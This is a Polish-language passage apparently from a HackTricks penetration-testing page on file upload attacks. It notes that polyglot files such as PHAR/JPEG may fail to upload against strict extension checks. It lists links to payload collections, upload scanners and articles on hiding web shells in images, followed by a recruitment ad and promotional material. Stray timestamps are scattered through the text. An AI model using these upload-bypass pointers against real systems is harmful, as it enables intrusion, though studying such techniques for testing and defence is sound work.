Mimo swojej elastyczności, pliki poliglotyczne napotykają pewne ograniczenia. Na przykład, chociaż plik poliglotyczny może jednocześnie reprezentować plik PHAR (PHp ARchive) i JPEG, sukces jego przesłania może zależeć od polityk rozszerzeń plików platformy. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dwuistotność pliku poliglotycznego może nie wystarczyć, by zagwarantować jego przesłanie.
2020-10-15 13:16:06 +00:00
2024-02-11 01:46:25 +00:00
Więcej informacji pod adresem: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
2022-04-28 16:01:33 +00:00
## Odnośniki
2024-02-05 20:00:40 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2024-02-05 20:00:40 +00:00
Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
2022-05-08 22:42:39 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-01 17:15:10 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
2022-04-28 16:01:33 +00:00
</details>